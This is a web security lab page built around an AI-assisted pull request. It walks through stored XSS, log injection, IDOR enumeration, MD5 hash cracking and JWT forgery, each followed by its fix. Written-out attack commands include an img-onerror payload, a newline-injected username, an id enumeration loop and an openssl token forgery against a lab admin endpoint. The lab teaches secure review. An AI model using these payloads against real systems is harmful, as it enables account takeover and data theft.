PR #42: "Add user profile page and login"
Recorded description: "Adds login (JWT), a profile page, bio editing and an admin user list. Logs logins. 6 tests added, all green. Generated with an AI assistant and reviewed by me: it works and the tests pass." recorded example, no live AI call
Your job as reviewer: read the three files below (about 110 lines). Trace every req.* value to where it ends up, then write down every security problem, ranked by impact. Only then press Reveal ranked findings.
src/app.js
loading…
src/passwords.js
loading…
src/logger.js
loading…
The lab cast (all fake)
| user | password | role | id |
|---|---|---|---|
| alice | sunshine1 | user | 1 |
| bob | letmein | user | 2 |
| carol | sunshine1 | user | 3 |
| admin | lab-only-admin-pass-9f3 | admin | 4 |
In the missions you play alice, an ordinary user. Bob and the admin are the victims.
Terminal helpers for every "Option 2"
V=http://127.0.0.1:3001 # vulnerable
F=http://127.0.0.1:3002 # fixed
login() { curl -s -X POST "$1/api/login" -H 'content-type: application/json' \
-d "{\"username\":\"$2\",\"password\":\"$3\"}" | sed -E 's/.*"token":"([^"]+)".*/\1/'; }
| # | Impact | Where | Finding | Fix |
|---|
Mission 1: stored XSS in the profile page
Alice controls her bio. Bob will open her profile. Write a bio, save it as Alice, then view her page as Bob. Start with the harmless bold chip: if the text turns bold, your input is being treated as markup. Then try the script payload chip. The page is shown inside a sandboxed frame so nothing can escape; a message appears if the injected script runs.
1 · Alice saves a bio
2 · Someone views the profile
Sandboxed (sandbox="allow-scripts", no same-origin), so the lab proves execution without giving the script any access.
HTTP response body (what the server sent)
Press "View Alice's profile".
Option 2: from the terminal
TOK=$(login $V alice sunshine1); BOB=$(login $V bob letmein)
curl -s -X PUT $V/api/me/bio -H "authorization: Bearer $TOK" -H 'content-type: application/json' \
-d '{"bio":"<img src=x onerror=\"alert(1)\">"}'
curl -s $V/profile/1 -H "authorization: Bearer $BOB" # vulnerable: the raw <img ...> tag is in the HTML
# repeat with F=http://127.0.0.1:3002: the tag arrives as <img ... >Show solution
Vulnerable: src/app.js builds the page with a template string, ${user.bio}, so the bio is parsed as HTML. The payload's <img onerror> runs in the viewer's browser: the banner says script executed. In a real app that script runs with the site's origin and can call the API as the viewer.
Fixed: the page uses an html tagged template that HTML-escapes every interpolated value (& < > " '), so the payload shows up as visible text. The fix is output encoding; the 500-character limit on the bio is only hygiene. Switch the target to fixed at the top and repeat.
Mission 2: forge a log line
The login handler logs 'login failed for ' + username. A username can contain a newline. Send one failed login whose username holds a line break followed by a fake "admin logged in" entry, and compare how many requests you sent with how many log lines appeared.
Username to send (failed login, password is wrong on purpose)
Application log ()
What your alert rule sees
Option 2: from the terminal
curl -s -X POST $V/api/login -H 'content-type: application/json' \
-d '{"username":"mallory\n2026-01-01T00:00:00.000Z INFO login ok for admin","password":"x"}'
docker compose exec vulnerable tail -n 4 /var/log/app/app.log # two lines from one request
docker compose exec fixed tail -n 2 /var/log/app/app.log # one JSON line, \n escaped (after the same request to $F)Show solution
Vulnerable: one request, two log lines. The second line is attacker text but looks exactly like a real INFO login ok for admin entry (same timestamp format, same words). Anyone who greps the log or builds an alert from it is misled. CWE-117.
Fixed: logger.js writes one JSON object per event; JSON.stringify turns the newline into the two characters \n, and the username is a quoted field that cannot become a log line or a different field. The username is also cut to 64 characters.
Mission 3: read someone else's record (IDOR)
You are signed in as alice (id 1). The route GET /api/users/:id checks that you are logged in. Does it check that the record is yours? Fetch your own id, then Bob's (2), then press Enumerate ids 1 to 5. Amber fields are private.
Enumeration
| id | HTTP | What came back |
|---|---|---|
| Not run yet. | ||
Option 2: from the terminal
TOK=$(login $V alice sunshine1)
curl -s $V/api/users/1 -H "authorization: Bearer $TOK"
curl -s $V/api/users/2 -H "authorization: Bearer $TOK" # vulnerable: Bob's email, phone, HR note
for i in 1 2 3 4 5; do curl -s -o /dev/null -w "$i %{http_code}\n" $V/api/users/$i -H "authorization: Bearer $TOK"; done
# repeat with F and a token from $F: ids 2 to 4 answer 403Show solution
Vulnerable: every id from 1 to 4 answers 200 with email, phone and the HR note. The handler proves who you are (authentication) and never asks whether you may see this record (authorization). Nothing in the code says "this is wrong": whether Alice may read Bob's record is a business rule, which is why a scanner cannot decide it and a reviewer must.
Fixed: canAccessUser(req.user, id) allows the owner or an admin and denies everything else (403 here; some teams return 404 so ids are not confirmed to exist). The public profile page stays readable by any signed-in user because it only shows public fields.
Mission 4: what a leaked backup is worth
Assume someone obtained a copy of the user database (a backup, a SQL injection elsewhere, a misconfigured bucket). Press Show the leaked users file and look at the stored values: do two users with the same password look the same? Then press Run the guessing benchmark, which tries a 39-word list of very common passwords against every stored value. Finally time one login.
users.json: id, username, stored password value
| id | user | passwordHash |
|---|---|---|
| Not loaded. | ||
Guessing results
Option 2: from the terminal
docker compose exec vulnerable cat /data/users.json | grep passwordHash # alice and carol: identical value echo -n sunshine1 | md5sum # same as the stored value docker compose exec fixed cat /data/users.json | grep passwordHash # scrypt$131072$8$1$<salt>$<key>, all different time login $V alice sunshine1 >/dev/null; time login $F alice sunshine1 >/dev/null
Show solution
Vulnerable: md5(password) is fast and has no salt. Alice and Carol have the same password and the same stored value; one precomputed table cracks every account that uses a listed password in a single pass (the benchmark finds sunshine1 and letmein instantly; the admin's longer password is not in the list). The comparison === on hashes is also not constant-time, but in this design the attacker does not control the stored hash, so treat that as a lint-level finding next to the real problem.
Fixed: scrypt with a random 16-byte salt per password and the OWASP minimum cost (N=217, r=8, p=1), compared with crypto.timingSafeEqual. Equal passwords store different values, and each guess costs a measurable fraction of a second of CPU and 128 MiB of memory. Weak passwords still fall to a determined attacker; the goal is to make every guess expensive, and to make sure a login attempt on an unknown user costs the same (the fixed code hashes a dummy value).
Mission 5: forge an admin token
Alice has a valid token. Decode it (step 1), try the 39-word list as the signing secret (step 2), forge a token that says role: admin (step 3) and call the admin endpoint with it. Signing happens in your browser with WebCrypto (HMAC-SHA-256): the server is not involved until you send the request. Step 4 tries alg: none.
1 · Alice's real token
2 · Guess the signing secret
3 · Forge and send
Claims4 · And alg: none?
Option 2: from the terminal
b64() { openssl base64 -A | tr '+/' '-_' | tr -d '='; }
H=$(printf '{"alg":"HS256","typ":"JWT"}' | b64); P=$(printf '{"id":4,"username":"admin","role":"admin"}' | b64)
S=$(printf '%s.%s' "$H" "$P" | openssl dgst -sha256 -hmac changeme -binary | b64)
curl -s -w ' [%{http_code}]\n' $V/api/admin/users -H "authorization: Bearer $H.$P.$S" # vulnerable: 200, every user
curl -s -w ' [%{http_code}]\n' $F/api/admin/users -H "authorization: Bearer $H.$P.$S" # fixed: 401
N=$(printf '{"alg":"none","typ":"JWT"}' | b64)
curl -s -w ' [%{http_code}]\n' $V/api/admin/users -H "authorization: Bearer $N.$P." # 401: the library refuses "none"Show solution
Vulnerable: the secret is the string changeme in source code, and it is in the word list. Anyone who reads the repository, or guesses, can mint a token for any user and role; the server trusts the claims because the signature checks out. Step 4 returns 401 on both versions: the installed jsonwebtoken 9 only accepts HMAC algorithms when you pass it a string secret, so the missing algorithms option is not exploitable here. Pin it anyway (RFC 8725 section 3.1) so a future key or library change cannot widen what is accepted.
Fixed: the secret comes from JWT_SECRET (the app refuses to start without 32+ characters), verification uses { algorithms: ['HS256'] }, and tokens last 15 minutes. The forged token gets a 401.
Mission 6: green tests prove very little
The PR came with six happy-path tests. Run them against the vulnerable app: green. Now run the reviewer's suite, which sends hostile inputs aimed at the five findings: red. Run both suites on the fixed app too. (Each run starts the real node --test inside the console container and talks to the app over HTTP.)
Results
| vulnerable | fixed | |
|---|---|---|
| PR's own tests (happy path) | not run | not run |
| Reviewer's hostile tests | not run | not run |
Test output
Nothing run yet.
Turn the finding into a rule (Semgrep)
The lab ships semgrep/express-pr.yaml. It runs from your terminal (see the lab README); the rule file is shown here:
loading…
Option 2: from the terminal
docker compose exec console sh -c 'BASE_URL=http://vulnerable:3000 node --test --test-reporter=spec /lab/tests/happy-path.test.js' docker compose exec console sh -c 'BASE_URL=http://vulnerable:3000 LOG_FILE=/logs/vulnerable/app.log DATA_FILE=/data/vulnerable/users.json node --test --test-reporter=spec /lab/tests/hostile.test.js' docker compose exec console sh -c 'BASE_URL=http://fixed:3000 LOG_FILE=/logs/fixed/app.log DATA_FILE=/data/fixed/users.json node --test --test-reporter=spec /lab/tests/hostile.test.js'
Show solution
Happy path: 6 of 6 pass on both versions. Hostile suite: on the vulnerable app 6 of the 7 tests fail (XSS, log injection, IDOR, both password checks and the JWT forgery); the seventh, alg: none, passes on both versions because the library already refuses it. On the fixed app all 7 pass. The tests are the proof that the fix holds, and they belong in CI so the bug cannot come back.
Mission 7: compare the PR with the fix
Pick a file. Amber lines are in the PR as submitted and gone in the fixed version; cyan lines are new.
vulnerable
fixed
Scoreboard
| Finding | CWE | Vulnerable | Fixed |
|---|---|---|---|
| Bio rendered as HTML | 79 / 80 | ${user.bio} | escaping html template + CSP header |
| Log line built from input | 117 | string concatenation, text log | JSON log, fields not concatenated |
| Any user reads any record | 639 / 862 | login check only | canAccessUser: owner or admin |
| Password storage | 328 / 916 | unsalted MD5, === | scrypt N=217, salt, timingSafeEqual |
| JWT secret and algorithm | 798 / 347 | 'changeme', no algorithms | env secret (32+ chars), algorithms: ['HS256'], 15 min |